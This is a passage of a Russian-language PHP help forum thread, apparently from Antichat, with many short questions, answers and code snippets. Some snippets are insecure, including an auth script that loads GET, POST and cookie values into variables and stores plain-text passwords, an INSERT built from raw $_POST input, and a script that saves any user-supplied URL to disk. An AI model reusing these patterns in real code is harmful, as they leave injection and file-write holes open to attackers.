$aaa="
<form ENCTYPE='multipart/form-data' ACTION='set.php' METHOD='POST'>
<table border='0' cellpadding='2' cellspacing='2'><tr><td>".$session_form."
<input TYPE='hidden' name='MAX_FILE_SIZE' value='".$MAX_SIZE."'>";
if($dont_registr == 'yes'){
$aaa .= "Логин: <input type='text' name='name' value='".$c_name."'>
<br>Пароль: <input type='password' name='ppass' value='".$c_ppass."'>\n";
}
else{
$aaa .= "<br><input type='file' name='file_name' size='35'>\n";
}
$aaa .= "<input type='submit' value='добавить'>
</td></tr></table>
</form>\n";
return $aaa;
}
//работа с сессией
if(isset($HTTP_GET_VARS)) {foreach($HTTP_GET_VARS as $key => $value ) {$$key=$value;}}
if(isset($HTTP_POST_VARS)){foreach($HTTP_POST_VARS as $key => $value ){$$key=$value;}}
unset($c_ppass,$c_name);
if ( isset ($_COOKIE)) { foreach ($_COOKIE as $key => $value ) {$$key=$value;}}
if ($c_zvet=='' or !isset($c_zvet)){ setcookie('c_zvet','Стандарт',time()+33333 333); }
@session_name('SID');
@session_start();
if ( isset ($_SESSION)) { foreach ($_SESSION as $key => $value ){ $$key=$value;}}
if($c_zvet!=''){
@ini_alter('session.use_trans_sid','0');
$SID=@session_id();
@session_destroy();
@setcookie('SID', $SID, time()+33333333);
}
else{
@ini_alter('session.use_cookies','0');
@session_destroy();
@session_id(@md5(@uniqid(@rand())));
$SID=@session_id();
if ( ini_get ('session.use_trans_sid')=='0'){
$session_form .="\n<input type='hidden' name='SID' value='".$SID."'>";
$session_link .="&SID=".$SID;
}
}
@session_register('c_name','c_ppass');
// вставляем верх странички, меняйте его под себя...
include("templates/index_top.htm");
// если кликнули закрыть сессию, можно убрать эту строку
if($sess=='close'){@session_unset(); @session_destroy();}
// если пришли данные из формы...
if($name!='' and $ppass!=''){ $c_name = $name;$c_ppass = $ppass; }
// если прищла картинка из формы
if(isset($HTTP_POST_FILES['file_name']['name'])){add_images($HTTP_POST_FILES); }
// если нет, значит человек регистрируется или авторизируется
elseif($name!='' and $ppass!=''){
$general = @file($basemember);
$lines = count($general);
$fp = @fopen($basemember, 'w');
for ( $i = 0; $i <= $lines; $i++ ){
list($name_t,$ppass_t,$avatar_t)=explode('::', $general[$i]);
if($name==$name_t and $ppass==$ppass_t and $name_t!=''){@fwrite ($fp,$general[$i]); $old='yes'; }
elseif($i==$lines and $old!='yes'){@fwrite ($fp,"$name::$ppass::::\n");}
else{@fwrite ($fp,$general[$i]);}
}
@fclose ($fp);
}
// проверяем есть ли человек в нашей базе, если нет то говорим что $dont_registr = 'yes'
$general = @file($basemember);
$lines = count($general);
for ( $i = 0; $i <= $lines; $i++ ){
list($name_t,$ppass_t,$avatar_t)=explode('::', $general[$i]);
if($c_name==$name_t and $c_ppass==$ppass_t and $name_t!=''){ break; }
if($i==$lines){ $dont_registr = 'yes'; }
}
// если человека в базе нет печатаем форму и предлагаем авторизацию
if($dont_registr == 'yes'){
print "<p align='justify'></p><p align='justify'>Авторизация - регистрация</p>";
print print_form();
}
// если он есть в базе приходим сюда
else{
if($avatar_t!='' and $del!='yes'){
$avatar = "<img src=".$papka_images."/".$avatar_t.">";
$message ="У Вас <font class=forums><b>Есть</b></font> аватар (<b>".$avatar_t."</b>). Вы можете его менять, удалять.";
}
else {$avatar =''; $message ="У Вас <font class=forums><b>Нет</b></font> аватара. Вы можете его добавить.";}
$MAX_SIZE_KB = ceil($MAX_SIZE/1000);
$message .= "<p align='justify'> Допустимы два формата Jpeg и Png - заменяюший формат Gif. Закачивайте файл размером не более <b>".$MAX_SIZE_KB."kб</b>. Размер картинки будет сохранен в рамках ".$fr_width."x".$fr_height." пикселей.<br><br>Для более качественной его передачи, желательно привести вашу картинку к данному размеру ".$fr_width."x".$fr_height." пикселей.</p>\n";
if($avatar_t!='' and $del!='yes'){$message .="<p align='justify'>Для того, чтобы добавить картинку с тем же именем, что уже существует, Вам надо сначала Аватар удалить.<br><br> Для удаления аватара, <a href='set.php?del=yes".$session_link."'>клинете здесь...</a></p>\n"; }
// если пользователь удаляет аватар то мы здесь
if($del=='yes'){
$general = @file($basemember);
$lines = count($general);
$fp = @fopen($basemember, 'w');
for ( $i = 0; $i < $lines; $i++){
list($name_t,$ppass_t,$avatar_t)=explode('::', $general[$i]);
if($c_name==$name_t and $c_ppass==$ppass_t){
if($avatar_t!=''){$avatar_t=$papka_images."/".$avatar_t; @unlink ($avatar_t);}
@fwrite ($fp,"$name_t::$ppass_t::::\n");
}
else{@fwrite ($fp,$general[$i]);}
}
@fclose ($fp);
print "\n<br><b>Аватар</b> удален...<br>\n";
}
print "<table width='600' border='0' cellpadding='5' cellspacing='5'><tr><td valign='top'>$avatar</td><td align='justify'>$message</td></tr></table>\n";
print print_form();
}
// это просто ссылки, типа ваших страничек
print "<a href='set.php?act=registr1'>Кликайте здесь</a>
<a href='set.php?act=registr2'>И тут тоже...</a>
<a href='set.php?sess=close'>Закрыть сессию</a>";
// вставаляем нижний шаблон
include("templates/index_end.htm");
?>
Но мне не надо печенек и даже сессий...Надо просто рег\вход и после входа передать данные в чат: ник,статус, права
Убирал лишнее сам --- после нажатия добавить нифига не происходит(
Как сделать авторизацию на php на файлах?
Нашёл довольно подходящий скрипт :
Но мне не надо печенек и даже сессий...Надо просто рег\вход и после входа передать данные в чат: ник,статус, права
Убирал лишнее сам --- после нажатия добавить нифига не происходит(
решето, а как ты собрался авторизацию делать, если не хочешь использовать печеньки и сессию?
форма
echo ('
<form action="index.php?go=ok" method="post">
Новый пароль: <input type="text" name="сpwfl"><br> <input type="submit" name="but1" value="Изменить пароль" /> </form>');
приемник
если var_dump($_POST); получаю массив
array(2) { ["сpwfl"]=> string(6) "214324" ["but1"]=> string(15) "Изменить пароль" }
если var_dump($_POST['cpwfl']); получаю null почему?
if(isset($_POST['cpwfl']) && isset($_POST['but1']) )
форма
echo ('
<form action="index.php?go=ok" method="post">
Новый пароль: <input type="text" name="сpwfl"><br> <input type="submit" name="but1" value="Изменить пароль" /> </form>');
приемник
если var_dump($_POST); получаю массив
array(2) { ["сpwfl"]=> string(6) "214324" ["but1"]=> string(15) "Изменить пароль" }
если var_dump($_POST['cpwfl']); получаю null почему?
if(isset($_POST['cpwfl']) && isset($_POST['but1']) )
перепиши имя поля и имя в переменной, у тебя где-то символ русский стоит
так все пашет
echo ('
<form action="" method="post">
Новый пароль: <input type="text" name="nnn"><br> <input type="submit" name="but1" value="Изменить пароль" /> </form>');
echo var_dump($_POST);
echo var_dump($_POST['nnn']);
Есть ли на php класс для работы с комплесными числами?
или нужна замена метода imag из класса complex для с++.
TDKronuS
22.12.2009, 00:06
Есть ли на php класс для работы с комплесными числами?
или нужна замена метода imag из класса complex для с++.
На phpclasses нашел такой:
<?
define('Z_CARTESIAN', 0);
define('Z_POLAR', 1);
define('Z_RADIAN', 0);
define('Z_DEGREE', 1);
class Z{
// Constructor
function Z($var = "", $im = "", $type = Z_CARTESIAN, $unit = Z_RADIAN ){
if( $unit ){
$this->unit = $unit;
}
list( $this->x, $this->y ) = $this->parse( func_get_args() );
}
// Public Functions
function SetUnit($unit = Z_RADIAN){
$this->unit = $unit;
return $this->unit;
}
function Re(){
return $this->x;
}
function Im(){
return $this->y;
}
function Mod(){
return hypot( $this->x, $this->y );
}
function Arg(){
if( $this->unit ){
return rad2deg( atan( $this->y / $this->x ) );
}
else{
return atan( $this->y / $this->x );
}
}
# For the following 4-op functions, input vars is same as constructor function.
function Add(){
list( $x, $y ) = $this->parse( func_get_args() );
$this->x+= $x;
$this->y+= $y;
}
function Sub(){
list( $x, $y ) = $this->parse( func_get_args() );
$this->x-= $x;
$this->y-= $y;
}
function Mul(){
list( $x, $y ) = $this->parse( func_get_args() );
list( $mod, $arg ) = $this->ToPolar( $x, $y );
list( $this->x, $this->y ) = $this->ToCartesian( $this->Mod()*$mod, $this->Arg()+$arg );
}
function Div(){
list( $x, $y ) = $this->parse( func_get_args() );
list( $mod, $arg ) = $this->ToPolar( $x, $y );
list( $this->x, $this->y ) = $this->ToCartesian( $this->Mod()/$mod, $this->Arg()-$arg );
}
// Private functions
function parse( $arr ){
list ($var, $im, $type, $unit ) = $arr;
if( $var ){
if( $im ){
if( $type == Z_POLAR ){
if( stristr( $im, "d" ) || ( ($unit == Z_DEGREE) && (!stristr( $im, "d" )) ) ){
$im = deg2rad( $im );
}
list( $x, $y ) = $this->ToCartesian( $var, $im );
}
else{
$x = $var;
$y = $im;
}
}
else{
list( $x, $y ) = $this->parse_number( $var );
}
}
return array( $x, $y );
}
function parse_number($str){
$str = preg_replace("/\s*/","",$str);
if( preg_match("/(?i)[^erd\-+ij.,0-9]+/", $str) ){
return -1;
}
else{
if( stristr( $str, "e" ) ){
preg_match("/(?i)([0-9]+)e-[ij]?([0-9rd]+)[ij]?/", $str, $arr);
if( sizeof( $arr ) ){
if( stristr( $arr[2], "d" ) ){
$arr[2] = deg2rad( $arr[2] );
}
list( $re, $im ) = $this->ToCartesian( $arr[1], $arr[2] );
}
}
else{
preg_match_all( "/(?i)([\-+]?[0-9.,ij]+)/", $str, $arr, PREG_SET_ORDER );
if( sizeof( $arr ) ){
foreach( $arr as $number ){
if( preg_match( "/(?i)[ij]/", $number[1] ) ){
$im += $number[1];
}
else{
$re += $number[1];
}
}
}
}
return array($re, $im);
}
}
function ToCartesian( $mod, $ang ){
return array( ( $mod*cos($ang) ), ( $mod*sin($ang) ) );
}
function ToPolar( $re, $im ){
return array( hypot( $re, $im ) , atan( ($im/$re) ) );
}
}
?>
Подскажите скриптик, отправляю из проги пост запрос с содержанием например 'info=12345' нужно чтоб скрипт сохранил данный текст в файл
Есть строка и массив:
'1', '2', '3', '4'
Array ( [0] => 2 [1] => 4 )
нужно удалить и строчки '2', и '4'
получиться должно: '1', '3'
:confused:
Есть строка и массив:
'1', '2', '3', '4'
Array ( [0] => 2 [1] => 4 )
нужно удалить и строчки '2', и '4'
получиться должно: '1', '3'
:confused:
in_array()?+explode
in_array()?+explodeне совсем понятно :( можно примерчик? спасибо!
не совсем понятно :( можно примерчик? спасибо!
$str='1,2,3,4';
$del=array(2,4);
$str=str_replace($del,'',$str);
$str=str_replace(',,',',',$str);
$arr=explode(',',$str);
Подскажите скриптик, отправляю из проги пост запрос с содержанием например 'info=12345' нужно чтоб скрипт сохранил данный текст в файл
$site='fbi.ru';
$patch='new.php';
$dat='?info=1234';
$fp = fsockopen($site, 80);
fputs($fp,'POST '.$patch.' HTTP/1.1
Host: '.$site.'
Connection: close
Content-Length: '.strlen($dat).'
'.$dat);
$f='';
while (!feof($fp)) $f.=fgets($fp, 1000);
fclose($fp);
file_put_contents('file.txt',$f); php 5<=
$str='1,2,3,4';
$del=array(2,4);
$str=str_replace($del,'',$str);
$str=str_replace(',,',',',$str);
$arr=explode(',',$str);
стоп, задача упростилась, вот: :rolleyes:
$str = "1,2,3,4";
массив = Array ( [0] => 2 [1] => 4 )
получиться должно:
$str="1,3";
стоп, вот: :rolleyes:
$str = "1,2,3,4";
массив = Array ( [0] => 2 [1] => 4 )
получиться должно:
$str="1,3";
Понятно.
$str = "1,2,3,4";
$arr= Array ( 2 , 4 );
$str=str_replace($arr,'',$str);
$str=str_replace(',,',',',$str);
Понятно.
$str = "1,2,3,4";
$arr= Array ( 2 , 4 );
$str=str_replace($arr,'',$str);
$str=str_replace(',,',',',$str);
Большое спасибо. http://forum.antichat.ru/images/icons/icon14.gif Получилось: ,3,4 :confused:
и еще если $arr= Array ( 3 , 2 );
то получается:
1,,4
если $arr= Array ( 1, 4 );
то получается:
,2,3,
:confused:
Большое спасибо. http://forum.antichat.ru/images/icons/icon14.gif Получилось: ,3,4 :confused:
$str = "1,2,3,4";
$arr= Array ( 2 , 4 );
$str=str_replace($arr,'',$str);
$str=str_replace(',,',',',$str);
if($str[strlen($str)]==',') unset($str[strlen($str)]);
if($str[0]==',') unset($str[0]);
mff $str = "1,2,3,4";
$arr= Array ( 2 , 4 );
echo implode(',',array_intersect($arr,explode(',',$str) ));
Eo0, не срабатывает(
Забыл слэш
$site='ya.ru';
$patch='/index.php';
$dat='?info=1234';
$fp = fsockopen($site, 80);
fputs($fp,'POST '.$patch.' HTTP/1.1
Host: '.$site.'
Connection: close
Content-Length: '.strlen($dat).'
'.$dat);
$f='';
while (!feof($fp)) $f.=fgets($fp, 1000);
fclose($fp);
file_put_contents('file.txt',$f);
Все равно чтото не хочет. Версия PHP 5.2.10
Все равно чтото не хочет. Версия PHP 5.2.10
у меня работает. Наверно на хосте нет библиотеки сокетов.
А в этом скрипте сохраняется ответ сервера в файл? Мне надо чтоб в файл сохранялось все что после 'info='
mff $str = "1,2,3,4";
$arr= Array ( 2 , 4 );
echo implode(',',array_intersect($arr,explode(',',$str) ));
Ох ты, спасибо большое! Но если
Array ( 2 , 4 ); получается $str = "2,4"; :) а должно получиться наоборот $str = "1,3"; то есть Array ( 2 , 4 ); нужно вырезать из $str = "1,2,3,4"; и получить $str = "1,3"; :confused: :(
$str = "1,2,3,4";
$arr= Array ( 2 , 4 );
$str=str_replace($arr,'',$str);
$str=str_replace(',,',',',$str);
if($str[strlen($str)]==',') unset($str[strlen($str)]);
if($str[0]==',') unset($str[0]);
не, получается 1,3, :confused:
mff Тогда array_diff вместо array_intersect
$str = "1,2,3,4";
$arr= Array ( 2 , 4 );
echo implode(',',array_diff(explode(',',$str),$arr));
$str = "1,2,3,4";
$arr= Array ( 2 , 4 );
echo implode(',', array_diff(explode(',',$str),$arr));
mff Тогда array_diff вместо array_intersect
$str = "1,2,3,4";
$arr= Array ( 2 , 4 );
echo implode(',',array_diff(explode(',',$str),$arr)); :eek: :eek: :eek: Работает как часы! Перепробывал все варианты. Спасибо большое Gifts :) :) :)
p.s. Eo0 тоже спасибо! :)
Eo0, не пойму что происходит))) пару постов делаю и все сайты мои на этом хосте начинают выдавать ошибку 502 бэд гетевей, и даже приостановили админы работу сайта, написал в поддержку, сказали что редирект в .htaccess был, стукни мне в аську может поможешь
есть вэб камера с BasicAuth
Задача. подключаться к ней не вводя имя я пароль.
Допустим мы заходим на камеру, вводим логин и пароль,
попадаем в интерфейс, там 3 фрейма. Интересует фрейм только с видео он тут http://192.168.100.244/main_pz.vspx
Соответственно надо заходить напрямую на http://192.168.100.244/main_pz.vspx без авторизации.
Вот набросок, однако просит ввести логин и пароль, пробовал через сокеты, тоже самое.
Подскажите что можно придумать?
<?php
$context = stream_context_create(array(
'http' => array(
'method' => 'GET',
'header' => sprintf("Authorization: Basic %s\r\n", base64_encode('test:test')).
"Content-type: application/x-www-form-urlencoded\r\n"),
));
$a=file_get_contents("http://192.168.100.244/main_pz.vspx", false, $context);
$pattern='#/cgi-bin/control.cgi#';
$replacement='http://192.168.100.244/cgi-bin/control.cgi';
echo preg_replace($pattern,$replacement,$a);
?>
http://logen:password@adre.ru/blabla.ext
Тут не покатит?
как реализовать разделение
есть файл 1.txt
11111g122244444
55555334
663525262
rhgh43h45747
.....
нужен скрипт который бы проверял каждую строку
если она длиннее 10 символов то разделял и записывал
в результате должно быть такой файл получится
2.txt
11111g1222
44444
55555334
663525262
rhgh43h457
47
.....
как реализовать разделение
есть файл 1.txt
нужен скрипт который бы проверял каждую строку
если она длиннее 10 символов то разделял и записывал
в результате должно быть такой файл получится
2.txt
$f=file('1.txt');
$c=count($f);
for($i=0;$i<$c;$i++){
if(strlen($f[$i])>10) $f[$i]=wordwrap($f[$i],10,"\n");
}
file_put_contents('2.txt',implode("\n",$f));
http://logen:password@adre.ru/blabla.ext
Тут не покатит?
в фаерфоксе пашет но не в ИЕ )
а надо под ие )))
а так ты моск!!! +++
в фаерфоксе пашет но не в ИЕ )
а надо под ие )))
а так ты моск!!! +++
Помоему в твоем примере вообще использовался пхп,а не броузер.Ну а пхп отлично принимает такой вид записи.так что не хныкай,а юзай :)
Помоему в твоем примере вообще использовался пхп,а не броузер.Ну а пхп отлично принимает такой вид записи.так что не хныкай,а юзай :)
дак я ж говорю не пашет (
попробовал уже
Architek86
23.12.2009, 13:49
как у числа убрать незначащие нули на конце, т.е. 0.1000 привести к 0.1, 30.000100 к 30.0001 и т.п.?
<?php
$str = "30.000100";
echo (float) $str, "\n";
echo rtrim ($str, '0'), "\n";
?>
Кто может за небольшую плату помочь в следующем:
нужно наверно два файла, 1 админка для меня, второй исполняющий.
я захожу в админку и создаю аккаунт пользователя с ником и пассом и выбираю срок действия данного акка, например 1 месяц. пользователь будет логинется в этот акк, через месяц акк автоматически удалится. вобщем нужно сайтик набросать простенький кто способен го в асю.
Architek86
24.12.2009, 14:51
PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 1024001 bytes)
Как 1024001 байт могут превысить лимит в 67108864 байт???
Pashkela
24.12.2009, 14:56
У тебя оперативки на твоей виртуалке ВСЕГО 64 мб. Подо все - под Apache, под MySql, под систему и etc., т.е. соотвественно на исполнение определенного скрипта php выдается далеко не вся оперативка
нужен скрипт отправки sms на php, если у кого есть скиньте плз :)
restart_05
24.12.2009, 16:53
как можно закодировать $text = "Текст";
как можно закодировать $text = "Текст";
ну к примеру $str='Текст';
$echo=base64_encode($str);//закодированный
echo base64_decode($echo);//раскодировали
нужен скрипт отправки sms на php, если у кого есть скиньте плз :)
otpravka_sms
Продолжение ранеe начатых скриптов отправки смс...
В этой версии присутствует отправка смс на: Beeline, Beeline Украина, Beeline Татарстан, Mегафон Центр, Мегафон Дальний Восток, Мегафон поволжье, Мегафон Сибирь, Мегафон Урал, Мегафона Брянск, Мегафон Татарстан, МТС Беларусь, МТС Татарстан, МТС Якутск, UMC, Смартс, Моби, НТК Приморский край, НТК Владивосток, РеКом GSM, РеКом GSM Белгород, Velcom Брест, Azercell Telecom Баку, U-tel Тюменской области, AKOS, Tele2, Казахстан Kcell, HCC, Хабаровский Дальневосточный GSM, SMS Orange IL Израиль.
Требования: PHP4,(X)HTML
Скачать (http://visavi.net/load/files/otpravka_sms.zip) (53.04 Kb)
sms_send
Новый скрипт отправки смс сообщений, огромная база операторов c рабочими шлюзами
Требование: PHP4, HTML
Скачать (http://visavi.net/load/files/sms_send.zip) (78.48 Kb)
Помогите плиз. сижу волосы рву на башке. почему не пишет в БД нихрена.
<?php
include("config.php");
mysql_connect($dbhost,$dbuser,$dbpasswd);
if(isset($_POST['save']))
$sql=mysql_query("INSERT INTO pages VALUES('".$_POST['title']."','".$_POST['content']."')");
?>
<html>
<head>
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<form action="" method="post">
<table border="1" cellspacing="0" cellpading="0" align="center">
<tr>
<td>Заголовок страницы</td>
<td>Текст страницы</td>
</tr>
<tr>
<td valign="top"><input type="text" name="title" size="35"></td>
<td><textarea name="content" cols="70" rows="25"></textarea></td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" name="save" value="Сохранить"> <input type="reset" value="Сбросить"></td>
</tr>
</table>
</form>
</body>
</html>
на пхп май админе работает sql код. а в скрипте 0. вообще не чего не пишет в БД (((((
Матня
Экстрасенсы в отпуске, рассказывай что в include.php (+ надо выбрать DB с какой работать (после коннекта к sql))
Экстрасенсы в отпуске, рассказывай что в include.php (+ надо выбрать DB с какой работать (после коннекта к sql))
спасибо. БД не выбрал. бляяяя сенк
mastaadon
24.12.2009, 19:05
Есть сайт где я хочу выложить несколько видео файлов. Мне нужно скрыть ссылки на эти файлы, я понимаю, что скрыть их полностью не возможно, но хотя бы так, что бы не все халявщики подряд могли скачать мои видео файлы или же сделать себе прямые ссылки на сайт. Если кто даст ссылку на готовые решения или же напишет код или хотя бы опишет логику, буду весьма признателен.
Какие ссылки?
Это будет Flash проигрыватель?
mastaadon
24.12.2009, 19:18
Да скорее всего нужно будет сделать файлы в формате FLV. Хотя если есть решение можно и в другом формате.
restart_05
24.12.2009, 19:54
как можно закодировать php код, чтобы его тяжело было раскодировать
Pashkela
24.12.2009, 19:57
http://kaimi.ru/2009/10/php-obfuscator-1-4/#more-648
Да скорее всего нужно будет сделать файлы в формате FLV. Хотя если есть решение можно и в другом формате.
Решение чего?! Ты можешь толком объяснить суть...
Какие ссылки???????????????????????????????????
У тебя тупо на сайте будут ссылки:
<a href='file.avi'>ССЫЛКА</a>
Или будет стоять флеш проигрыватель и нужно в сорцах палить путь к видео который использует флеш проигрывать?
Античат не форум телепатов...
mastaadon
24.12.2009, 20:18
Ссори не подозревал что вопрос был задан в таком смысле.
У меня будет стоять проигрыватель файлов.
Я хочу что бы посетители могли просматривать мои видео но не скачивать их или делать прямые ссылки на них в своих ресурсах.
Patronik
24.12.2009, 20:23
есть литература по библиотеке PEAR на руском?
restart_05
24.12.2009, 20:32
Pashkela спасибо
Пожалуйста посоветуйте хостинг (бесплатный) с поддержкой загрузки файлов из скрипта по url. Уже штук 5 перепробывал. Есть форма куда вводится ссылка и передается этому скрипту:<?php
ini_set("memory_limit", "40M");
set_time_limit(10);
if (isset($_POST['url']))
{
$tmp = implode("", file($_POST['url']));
$fn = basename($_POST['url']);
$size = 0;
$size = strlen($tmp);
if ($size!=0)
{$fp = fopen($fn, "w");
fwrite($fp, $tmp);
fclose($fp);
}
} ?>у меня на компе работает, в инете нет. Может в скрипте нужно что то исправить?
restart_05
24.12.2009, 21:03
Еще 1 вопрос:
Как можно в базу данных mysql добавлять следующее
Имеется таблица id, friend
в строке friend имеется число 9
мне нужно добавить в строку friend еще несколько чисел через запятаю 9,11,15 и т.д.
Как можно сделать такое ?
Pashkela
24.12.2009, 21:10
https://forum.antichat.ru/showpost.php?p=1770920&postcount=916
restart_05
24.12.2009, 21:16
спс
Пожалуйста посоветуйте хостинг (бесплатный) с поддержкой загрузки файлов из скрипта по url. Уже штук 5 перепробывал. Есть форма куда вводится ссылка и передается этому скрипту:<?php
ini_set("memory_limit", "40M");
set_time_limit(10);
if (isset($_POST['url']))
{
$tmp = implode("", file($_POST['url']));
$fn = basename($_POST['url']);
$size = 0;
$size = strlen($tmp);
if ($size!=0)
{$fp = fopen($fn, "w");
fwrite($fp, $tmp);
fclose($fp);
}
} ?>у меня на компе работает, в инете нет. Может в скрипте нужно что то исправить?
$fn = basename($_POST['url']);
$fp = fopen($fn, "w")
Проверь phpinfo(); Директиву: allow_url_fopen
Patronik
24.12.2009, 23:05
$fn = basename($_POST['url']);
$fp = fopen($fn, "w")
Проверь phpinfo(); Директиву: allow_url_fopen
Добавлю что на большинстве бесплатных хостингов нет возможности редактировать php.ini и тогда если даже
allow_url_fopen отключен то ничего не поделаешь...
$fn = basename($_POST['url']);
$fp = fopen($fn, "w")
Проверь phpinfo(); Директиву: allow_url_fopen
везде где я регался эта директива оказалась отключена. Может все таки есть подходящий хостинг?
везде где я регался эта директива оказалась отключена. Может все таки есть подходящий хостинг?
2x4.ru там только php 4 и рега теперь сколько то стоит.
Freakazoitt
25.12.2009, 12:33
Вопрос:
Сделал простой чат на php с формой
Как сделать:
1. скролл сам прокручивался вниз (к последним сообщениям)
2. курсор всегда оставался в форме где текст сообщения, чтоб не кликать туда каждый раз
phpdreamer
25.12.2009, 12:51
Вопрос:
Сделал простой чат на php с формой
Как сделать:
1. скролл сам прокручивался вниз (к последним сообщениям)
2. курсор всегда оставался в форме где текст сообщения, чтоб не кликать туда каждый раз
javascript
подскажите плиз функции для обработки архивов zip, интересует архивация/разархивация
подскажите плиз функции для обработки архивов zip, интересует архивация/разархивация
http://www.phpclasses.org/browse/package/3864.html
везде где я регался эта директива оказалась отключена. Может все таки есть подходящий хостинг?
Насчет бесплатных незнаю, уже лет 5 не выступал по ним, а если не жалко 150р в месяц, то советую VDS|VPS там ты уже какую конфигурацию хочеш такую и сделаеш.
hooligan4ik
25.12.2009, 16:04
здраствуйте гуру php!
меня интересует такой вопрос:
каким образом можно подключить локацию сервера(КС по его айпи) К карте гугл и вывод ее на стренице сервера в виде карты города где расположен сервер?
Может кто подскажет скрипт!
Желающим помочь-Стукните в асю 382806175
Freakazoitt
1.
<body onload="document.getElementById('имя_поля').focus()">
2.
<body onload="scroll(0,0)">
Только вместо 0,0 позицию нужно тебе самому задать и правильнее думаю будет сделать автоопределение или что-то в этом роде
нужно сохранить файл с инета к себе на комп в папку
как реализовать?
нужно сохранить файл с инета к себе на комп в папку
как реализовать?
copy('http://site.ru/1.mp3','1.mp3');
здраствуйте гуру php!
меня интересует такой вопрос:
каким образом можно подключить локацию сервера(КС по его айпи) К карте гугл и вывод ее на стренице сервера в виде карты города где расположен сервер?
Может кто подскажет скрипт!
Желающим помочь-Стукните в асю 382806175
Use GeoIP.
http://www.phpclasses.org/browse/file/17303.html
Antichat Search (http://forum.antichat.ru/search.php?searchid=6073160)
hooligan4ik
25.12.2009, 21:14
Use GeoIP.
http://www.phpclasses.org/browse/file/17303.html
Antichat Search (http://forum.antichat.ru/search.php?searchid=6073160)
Спасибо ето понял но как теперь ето все присоеденить к google map??
Извените за тупость и настоичивость но очень нужно реализовать!
Google Maps API -> http://code.google.com/intl/ru-RU/apis/maps/
hooligan4ik
25.12.2009, 21:32
Google Maps API -> http://code.google.com/intl/ru-RU/apis/maps/
Стукни пожалуйста в асю!
Буду очень признателен!
Ася 382806175
Вопрос к профи.
Есть в таблицы поля в которых присутствуют IP адреса, как сделать что когда человек заходит на страничку скрипт сравнивает его Ip с Ip'aми в базе и если данного Ip'а нету в базе его перекидывает на другую страницу.
Заранее спасибо.
Вопрос к профи.
Есть в таблицы поля в которых присутствуют IP адреса, как сделать что когда человек заходит на страничку скрипт сравнивает его Ip с Ip'aми в базе и если данного Ip'а нету в базе его перекидывает на другую страницу.
Заранее спасибо.
$query = mysql_query("SELECT * FROM tables_ip WHERE ip='$ip'");
if(mysql_num_rows($query) > 0){
echo = 'pew-pew';
}else{
header("Location: kuda-totam.ru");
}
Возможно ли средствами php, запустить файл на исполнение?(ос: Linux)
нужен код,который бы логинился например на этот форум,т.е.:
в поле ник вставить значение переменной,которое пропишу я
в поле пароль так же
Возможно ли средствами php, запустить файл на исполнение?(ос: Linux)
если safe_mode=off то можно
http://ru.php.net/manual/en/function.system.php
нужен код,который бы логинился например на этот форум,т.е.:
в поле ник вставить значение переменной,которое пропишу я
в поле пароль так же
Например курл,пример тута можно посмотреть
http://forum.antichat.ru/thread166127.html
Architek86
26.12.2009, 13:58
file_put_contents
если ей передать несуществующий файл, будет ли он создан, как в случае с fopen и ключём a+?
file_put_contents
если ей передать несуществующий файл, будет ли он создан, как в случае с fopen и ключём a+?
Да
Architek86 http://php.net/file_put_contents Ведь несложно прочитать хотя бы первую строку?
Пожалуйста посоветуйте хостинг (бесплатный) с поддержкой загрузки файлов из скрипта по url. Уже штук 5 перепробывал. Есть форма куда вводится ссылка и передается этому скрипту:<?php
ini_set("memory_limit", "40M");
set_time_limit(10);
if (isset($_POST['url']))
{
$tmp = implode("", file($_POST['url']));
$fn = basename($_POST['url']);
$size = 0;
$size = strlen($tmp);
if ($size!=0)
{$fp = fopen($fn, "w");
fwrite($fp, $tmp);
fclose($fp);
}
} ?>у меня на компе работает, в инете нет. Может в скрипте нужно что то исправить?
уууф нашел я все таки хостинг. Если вдруг кому то понадобится то вот x10hosting.com Спасибо всем кто откликнулся
If filename does not exist, the file is created. Otherwise, the existing file is overwritten, unless the FILE_APPEND flags is set.
=\
hooligan4ik
27.12.2009, 17:00
Это опять я!))
Итак нужен человек который реализует следующее:
Скрипт Проверки обратных ссылок на сайт с отправкой письма на емэйл(Если стоит то ваш сервер добавлен или если не стоит ваш сервер не добавлен так как на вашем сайте не найдена ссылка на наш сайт!)
Оплачу труды!
Ася 382806175
Можно ли в переменную засунуть математическое действие? Например $a='+'
mastaadon
27.12.2009, 18:28
Ребята, если кто может помочь мой вопрос остался далеко в глубинке, но все еще я его не решил. Решил продублировать его еще раз в надежде получить помощь.
На странице php у меня будет стоять проигрыватель видео файлов FLV.
Я хочу что бы посетители сайта могли просматривать но не имели возможности скачивать их или же делать прямые ссылки на них. Я понимаю, что 100% зашиты не будет но все же нужна максимальная защита, что бы не скачивали хотя бы все подряд.
кто подскажет бесплатный хостинг с курлом,если такие остались
Можно ли в переменную засунуть математическое действие? Например $a='+'
нет
нет
<?php
$math = '+';
$a = 12;
$b = 4;
eval("echo $a $math $b;");
?>
<?php
$math = '+';
$a = 12;
$b = 4;
eval("echo $a $math $b;");
?>
так ясное дело что можно, я имею ввиду что стандартными способами нельзя.
есть текстовая строка допустим:
level :13,min_lvl:1,max_lvl :20,text :"Priver Вова",txt:'Я Бургер'
Как её можно спарсить вида Переменная => Значение
PS Назание переменных в строке не меняется, тоесть можно изначально их использовать в парсере
PS возможен пробел перед :
есть текстовая строка допустим:
level :13,min_lvl:1,max_lvl :20,text :"Priver Вова",txt:'Я Бургер'
Как её можно спарсить вида Переменная => Значение
PS Назание переменных в строке не меняется, тоесть можно изначально их использовать в парсере
PS возможен пробел перед :
$str="level :13,min_lvl:1,max_lvl :20,text :\"Priver Вова\",txt:'Я Бургер'";
$str=str_replace(array("'",'"'),'',$str);
$arr=explode(',',$str);
for($i=0;$i<count($arr);$i++)
{
$var=explode(':',$arr[$i]);
${trim($var[0])}=$var[1];
}
<?php
$str = "level :13,min_lvl:1,max_lvl :20,text :\"Priver Вова\",txt:'Я Бургер'";
$str = str_replace (array ("'", '"'), '', $str);
preg_match_all ('/(\w+)\s*:\s*(.+?)(?:,|\Z)/', $str, $m);
for ($i = 0; $i < count ($m[1]); $i++)
${$m[1][$i]} = $m[2][$i];
echo $txt, "\n";
?>
есть текстовик с http проксями, вида ip:port
нужно сделать чтоб каждые 5 минут заходило на яшу с разными проксями, как реализовать?
заранее спасибо :)
cron + рандомная строка из файла с проксями
cron + рандомная строка из файла с проксями
а можно подробнее :)
и рандом не подойдет вроде, нужно чтоб каждую строчку по очереди до последней.
restart_05
28.12.2009, 15:03
$concat = ",".$fr;
